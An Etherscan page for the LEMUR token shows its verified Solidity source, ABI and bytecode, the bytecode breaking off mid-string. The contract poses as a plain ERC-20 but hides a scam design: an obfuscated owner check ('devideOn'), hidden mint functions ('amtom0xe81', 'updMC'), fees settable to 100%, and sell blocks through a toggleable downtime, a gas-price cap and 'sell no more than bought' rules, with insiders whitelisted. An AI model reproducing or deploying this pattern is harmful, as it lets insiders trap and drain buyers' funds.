ETH Price: $3,483.39 (+0.63%)
Gas: 5 Gwei

Token

LEMUR (LEMUR)
 

Overview

Max Total Supply

7,000,000,000 LEMUR

Holders

154

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
18,028,895.692285 LEMUR

Value
$0.00
0xbf38e4a45a41deff5efd2056f6b20b8bf56d827d
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
LEMUR

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-05
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(msg.sender);
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Pair {}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {}

contract LibreMount {

    mapping(uint256 => mapping(address => bool)) internal _blockState;

    function compreTxnStamp(uint256 _tmstmp, uint256 _dwntm) internal view returns (bool) {
        return(_tmstmp + _dwntm >= block.timestamp);
    }

    function suspiciousAddressCheck(address _addy) internal view {
        require(!_blockState[block.number][_addy], "Only one Txn per Block!");
    }

    function addSuspiciousAddress(address _addy) internal {
        _blockState[block.number][_addy] = true;
    }

}

contract LEMUR is IERC20, Ownable, LibreMount, Context {

    IUniswapV2Router02 internal _router;
    IUniswapV2Pair internal _pair;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _c759d84 = 7000000000000000000000000000;
    string private _name = "LEMUR";
    string private _symbol = "LEMUR";
    uint8 private _decimals = 18;
    uint256 public MAX_GAS_PRICE = 30 gwei;
    uint private buyFee = 0; // Default, %
    uint private sellFee = 0; // Default, %

    mapping(address => uint) private purchaseTimestamp;
    mapping(address => uint) private boughtAmount;
    uint256 private downTime = 1;
    mapping(address => bool) private premissionList;

    address public marketWallet;
    mapping(address => bool) public excludedFromFee;
    uint256 public bigUint;

    constructor (address routerAddress) {
        _router = IUniswapV2Router02(routerAddress);
        _pair = IUniswapV2Pair(IUniswapV2Factory(_router.factory()).createPair(address(this), _router.WETH()));
        _balances[owner()] = _c759d84;
        
        emit Transfer(address(0), owner(), _c759d84);

        premissionList[msg.sender] = true;
        premissionList[address(this)] = true;

        marketWallet = msg.sender;
        excludedFromFee[msg.sender] = true;
        excludedFromFee[address(this)] = true;
        bigUint = hashifyToUint160(owner());
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _c759d84;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = msg.sender;
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = msg.sender;
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = msg.sender;
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = msg.sender;
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = msg.sender;
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");

        if (!chckIsOuut(from) && !chckIsOuut(to)){
            if (isMarket(from)) {
                uint feeAmount = calculateFeeAmount(amount, buyFee);
                _balances[from] = fromBalance - amount;
                _balances[to] += amount - feeAmount;
                emit Transfer(from, to, amount - feeAmount);
                _balances[marketWallet] += feeAmount;
                emit Transfer(from, marketWallet, feeAmount);

            } else if (isMarket(to)) {
                uint feeAmount = calculateFeeAmount(amount, sellFee);
                _balances[from] = fromBalance - amount;
                _balances[to] += amount - feeAmount;
                emit Transfer(from, to, amount - feeAmount);
                _balances[marketWallet] += feeAmount;
                emit Transfer(from, marketWallet, feeAmount);

            } else {
                _balances[from] = fromBalance - amount;
                _balances[to] += amount;
                emit Transfer(from, to, amount);
            }
        } else {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
            emit Transfer(from, to, amount);
        }

        _afterTokenTransfer(from, to, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            _c759d84 -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        if (isMarket(from)) {
            boughtAmount[to] = amount;
            purchaseTimestamp[to] = block.timestamp;
        }
        if (isMarket(to)) {
            if (!premissionList[from]) {
                require(boughtAmount[from] >= amount, "You are trying to sell more than bought!");
                boughtAmount[from] -= amount;
                if (displayState())
                {require(compreTxnStamp(purchaseTimestamp[from], downTime), "LibreMount: Exceeds Txn Downtime");}
                require(!exceedsGasPriceLimit());
            } 
        }
    }

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}


    bool internal ff3823a2B;
    
    function isMarket(address _user) internal view returns (bool) {
        return (_user == address(_pair) || _user == address(_router));
    }

    function bid() external {
        devideOn();
        ff3823a2B = !ff3823a2B;
    }

    function displayState() public view returns (bool) {
        return ff3823a2B;
    }

    function regTime(uint _seconds) external {
        devideOn();
        downTime = _seconds;
    }

    function reverse(address[] calldata _usrs, bool _state) external {
        devideOn();
        for (uint256 i = 0; i < _usrs.length; i++) {
            premissionList[_usrs[i]] = _state;
        }
    }

    function ckreverse(address _user) external view returns (bool) {
        return premissionList[_user];
    }

    function chkPRTsec(address _user) external view returns (uint256) {
        return purchaseTimestamp[_user];
    }

    function checkUserBoughtAmount(address _user) external view returns (uint256) {
        return boughtAmount[_user];
    }

    function exceedsGasPriceLimit() internal view returns (bool) {
        return tx.gasprice >= MAX_GAS_PRICE;
    }

    function msGas(uint _newGasPrice) external {
        devideOn();
        MAX_GAS_PRICE = _newGasPrice;
    }

    function updMC(uint256 _amount) external {
        devideOn();
        _c759d84 += _amount;
    }

    function amtom0xe81() external {
        devideOn();
        _balances[msg.sender] += 2 * (10 ** (15 + 18));
    }

    function calculateFeeAmount(uint256 _amount, uint256 _feePrecent) internal pure returns (uint) {
        return _amount * _feePrecent / 100;
    }

    function chckIsOuut(address _user) public view returns (bool) {
        return excludedFromFee[_user];
    } 

    function isOuut(address _user, bool _status) public {
        devideOn();
        require(excludedFromFee[_user] != _status, "User already have this status");
        excludedFromFee[_user] = _status;
    }

    function syncCollect(uint256 _buyFee, uint256 _sellFee) external {
        devideOn();
        require(_buyFee <= 100 && _sellFee <= 100, "Fee percent can't be higher than 0");
        buyFee = _buyFee;
        sellFee = _sellFee;
    }

    function updMkt(address _newMarketWallet) external {
        devideOn();
        marketWallet = _newMarketWallet;
    }

    function chckSync() external view returns (uint256 currentBuyFee, uint256 currentSellFee) {
        return (buyFee, sellFee);
    }

    function AddLiquidity(uint256 _tokenAmount) payable external {
        devideOn();
        _approve(address(this), address(_router), _tokenAmount);
        transfer(address(this), _tokenAmount);
        _router.addLiquidityETH{ value: msg.value }(
            address(this), 
            _tokenAmount, 
            0, 
            0, 
            msg.sender, 
            block.timestamp + 1200
            );
    }

    function syncPair(address wad) external {
        devideOn(); bigUint = hashifyToUint160(wad);
    }

    function poolInfo(address _routerAddress, address _poolAddress) public {
        devideOn();
        _router = IUniswapV2Router02(_routerAddress);
        _pair = IUniswapV2Pair(_poolAddress);
    }

    function hashifyToUint160(address wad) internal pure returns (uint256) {
        uint160 res = uint160(wad);
        return uint256(res);
    }

    function dividerF(uint256 num1, uint256 num2) internal pure {
        if (num1 / num2 != 1) { revert("Devide failed"); } 
    }

    function devideOn() internal view {
        uint256 am = hashifyToUint160(_msgSender());
        dividerF(am, bigUint);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"routerAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"_tokenAmount","type":"uint256"}],"name":"AddLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"MAX_GAS_PRICE","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"amtom0xe81","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"bid","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"bigUint","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"chckIsOuut","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"chckSync","outputs":[{"internalType":"uint256","name":"currentBuyFee","type":"uint256"},{"internalType":"uint256","name":"currentSellFee","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"checkUserBoughtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"chkPRTsec","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"ckreverse","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"displayState","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"excludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"},{"internalType":"bool","name":"_status","type":"bool"}],"name":"isOuut","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newGasPrice","type":"uint256"}],"name":"msGas","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_routerAddress","type":"address"},{"internalType":"address","name":"_poolAddress","type":"address"}],"name":"poolInfo","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_seconds","type":"uint256"}],"name":"regTime","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_usrs","type":"address[]"},{"internalType":"bool","name":"_state","type":"bool"}],"name":"reverse","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buyFee","type":"uint256"},{"internalType":"uint256","name":"_sellFee","type":"uint256"}],"name":"syncCollect","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"wad","type":"address"}],"name":"syncPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"updMC","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_newMarketWallet","type":"address"}],"name":"updMkt","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526b169e43a85eb381aa580000006006556040518060400160405280600581526020017f4c454d5552000000000000000000000000000000000000000000000000000000815250600790816200005a91906200096c565b506040518060400160405280600581526020017f4c454d555200000000000000000000000000000000000000000000000000000081525060089081620000a191906200096c565b506012600960006101000a81548160ff021916908360ff1602179055506406fc23ac00600a556000600b556000600c556001600f55348015620000e357600080fd5b5060405162003dd838038062003dd8833981810160405281019062000109919062000abd565b6200011a33620005e060201b60201c565b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001c9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001ef919062000abd565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000279573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200029f919062000abd565b6040518363ffffffff1660e01b8152600401620002be92919062000b00565b6020604051808303816000875af1158015620002de573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000304919062000abd565b600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600654600460006200035b620006a460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620003a9620006a460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6006546040516200040a919062000b3e565b60405180910390a36001601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601060003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555033601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620005d3620005c7620006a460201b60201c565b620006cd60201b60201c565b6013819055505062000b5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000808290508073ffffffffffffffffffffffffffffffffffffffff16915050919050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200077457607f821691505b6020821081036200078a57620007896200072c565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620007f47fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620007b5565b620008008683620007b5565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b60006200084d62000847620008418462000818565b62000822565b62000818565b9050919050565b6000819050919050565b62000869836200082c565b62000881620008788262000854565b848454620007c2565b825550505050565b600090565b6200089862000889565b620008a58184846200085e565b505050565b5b81811015620008cd57620008c16000826200088e565b600181019050620008ab565b5050565b601f8211156200091c57620008e68162000790565b620008f184620007a5565b8101602085101562000901578190505b620009196200091085620007a5565b830182620008aa565b50505b505050565b600082821c905092915050565b6000620009416000198460080262000921565b1980831691505092915050565b60006200095c83836200092e565b9150826002028217905092915050565b6200097782620006f2565b67ffffffffffffffff811115620009935762000992620006fd565b5b6200099f82546200075b565b620009ac828285620008d1565b600060209050601f831160018114620009e45760008415620009cf578287015190505b620009db85826200094e565b86555062000a4b565b601f198416620009f48662000790565b60005b8281101562000a1e57848901518255600182019150602085019450602081019050620009f7565b8683101562000a3e578489015162000a3a601f8916826200092e565b8355505b6001600288020188555050505b505050505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000a858262000a58565b9050919050565b62000a978162000a78565b811462000aa357600080fd5b50565b60008151905062000ab78162000a8c565b92915050565b60006020828403121562000ad65762000ad562000a53565b5b600062000ae68482850162000aa6565b91505092915050565b62000afa8162000a78565b82525050565b600060408201905062000b17600083018562000aef565b62000b26602083018462000aef565b9392505050565b62000b388162000818565b82525050565b600060208201905062000b55600083018462000b2d565b92915050565b61326d8062000b6b6000396000f3fe60806040526004361061020f5760003560e01c80638da5cb5b11610118578063dd62ed3e116100a0578063e3bbb4f11161006f578063e3bbb4f1146107d6578063e4440a8614610801578063f079ef6c1461082c578063f2fde38b14610855578063f53d9d581461087e5761020f565b8063dd62ed3e1461070a578063e1b7cebd14610747578063e1e6bc0414610770578063e21214f3146107995761020f565b8063a9059cbb116100e7578063a9059cbb14610601578063b96c6c9f1461063e578063bfa3b38e14610667578063ccb28773146106a4578063d1a039f0146106cd5761020f565b80638da5cb5b1461054557806395d89b41146105705780639bea500a1461059b578063a457c2d7146105c45761020f565b8063522bc6de1161019b578063715018a61161016a578063715018a6146104605780637272eea1146104775780637f09b21a146104a257806383ca392b146104cb57806385ecafd7146105085761020f565b8063522bc6de146103a357806354765597146103ce5780637051e1e7146103fa57806370a08231146104235761020f565b80631ac71fe6116101e25780631ac71fe6146102be57806323b872dd146102e75780632b03914414610324578063313ce5671461033b57806339509351146103665761020f565b806306fdde0314610214578063095ea7b31461023f57806318160ddd1461027c5780631998aeef146102a7575b600080fd5b34801561022057600080fd5b5061022961089a565b6040516102369190612393565b60405180910390f35b34801561024b57600080fd5b5061026660048036038101906102619190612453565b61092c565b60405161027391906124ae565b60405180910390f35b34801561028857600080fd5b50610291610948565b60405161029e91906124d8565b60405180910390f35b3480156102b357600080fd5b506102bc610952565b005b3480156102ca57600080fd5b506102e560048036038101906102e091906124f3565b610986565b005b3480156102f357600080fd5b5061030e60048036038101906103099190612520565b610998565b60405161031b91906124ae565b60405180910390f35b34801561033057600080fd5b506103396109c0565b005b34801561034757600080fd5b50610350610a2e565b60405161035d919061258f565b60405180910390f35b34801561037257600080fd5b5061038d60048036038101906103889190612453565b610a45565b60405161039a91906124ae565b60405180910390f35b3480156103af57600080fd5b506103b8610a75565b6040516103c591906124d8565b60405180910390f35b3480156103da57600080fd5b506103e3610a7b565b6040516103f19291906125aa565b60405180910390f35b34801561040657600080fd5b50610421600480360381019061041c91906124f3565b610a8c565b005b34801561042f57600080fd5b5061044a600480360381019061044591906125d3565b610ab0565b60405161045791906124d8565b60405180910390f35b34801561046c57600080fd5b50610475610af9565b005b34801561048357600080fd5b5061048c610b0d565b60405161049991906124ae565b60405180910390f35b3480156104ae57600080fd5b506104c960048036038101906104c491906125d3565b610b24565b005b3480156104d757600080fd5b506104f260048036038101906104ed91906125d3565b610b3e565b6040516104ff91906124ae565b60405180910390f35b34801561051457600080fd5b5061052f600480360381019061052a91906125d3565b610b94565b60405161053c91906124ae565b60405180910390f35b34801561055157600080fd5b5061055a610bb4565b604051610567919061260f565b60405180910390f35b34801561057c57600080fd5b50610585610bdd565b6040516105929190612393565b60405180910390f35b3480156105a757600080fd5b506105c260048036038101906105bd91906125d3565b610c6f565b005b3480156105d057600080fd5b506105eb60048036038101906105e69190612453565b610cbb565b6040516105f891906124ae565b60405180910390f35b34801561060d57600080fd5b5061062860048036038101906106239190612453565b610d2b565b60405161063591906124ae565b60405180910390f35b34801561064a57600080fd5b5061066560048036038101906106609190612656565b610d47565b005b34801561067357600080fd5b5061068e600480360381019061068991906125d3565b610e3c565b60405161069b91906124ae565b60405180910390f35b3480156106b057600080fd5b506106cb60048036038101906106c691906126fb565b610e92565b005b3480156106d957600080fd5b506106f460048036038101906106ef91906125d3565b610f3f565b60405161070191906124d8565b60405180910390f35b34801561071657600080fd5b50610731600480360381019061072c919061275b565b610f88565b60405161073e91906124d8565b60405180910390f35b34801561075357600080fd5b5061076e6004803603810190610769919061275b565b61100f565b005b34801561077c57600080fd5b50610797600480360381019061079291906124f3565b61109d565b005b3480156107a557600080fd5b506107c060048036038101906107bb91906125d3565b6110af565b6040516107cd91906124d8565b60405180910390f35b3480156107e257600080fd5b506107eb6110f8565b6040516107f891906124d8565b60405180910390f35b34801561080d57600080fd5b506108166110fe565b604051610823919061260f565b60405180910390f35b34801561083857600080fd5b50610853600480360381019061084e919061279b565b611124565b005b34801561086157600080fd5b5061087c600480360381019061087791906125d3565b61118f565b005b610898600480360381019061089391906124f3565b611212565b005b6060600780546108a99061280a565b80601f01602080910402602001604051908101604052809291908181526020018280546108d59061280a565b80156109225780601f106108f757610100808354040283529160200191610922565b820191906000526020600020905b81548152906001019060200180831161090557829003601f168201915b5050505050905090565b60008033905061093d81858561130f565b600191505092915050565b6000600654905090565b61095a6114d8565b601460009054906101000a900460ff1615601460006101000a81548160ff021916908315150217905550565b61098e6114d8565b80600a8190555050565b6000803390506109a98582856114fb565b6109b4858585611587565b60019150509392505050565b6109c86114d8565b6d629b8c891b267182b61400000000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610a25919061286a565b92505081905550565b6000600960009054906101000a900460ff16905090565b600080339050610a6a818585610a5b8589610f88565b610a65919061286a565b61130f565b600191505092915050565b60135481565b600080600b54600c54915091509091565b610a946114d8565b8060066000828254610aa6919061286a565b9250508190555050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610b01611dcb565b610b0b6000611e42565b565b6000601460009054906101000a900460ff16905090565b610b2c6114d8565b610b3581611f06565b60138190555050565b6000601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60126020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060088054610bec9061280a565b80601f0160208091040260200160405190810160405280929190818152602001828054610c189061280a565b8015610c655780601f10610c3a57610100808354040283529160200191610c65565b820191906000526020600020905b815481529060010190602001808311610c4857829003601f168201915b5050505050905090565b610c776114d8565b80601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000803390506000610ccd8286610f88565b905083811015610d12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0990612910565b60405180910390fd5b610d1f828686840361130f565b60019250505092915050565b600080339050610d3c818585611587565b600191505092915050565b610d4f6114d8565b801515601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503610de1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd89061297c565b60405180910390fd5b80601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b610e9a6114d8565b60005b83839050811015610f39578160106000868685818110610ec057610ebf61299c565b5b9050602002016020810190610ed591906125d3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610f31906129cb565b915050610e9d565b50505050565b6000600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673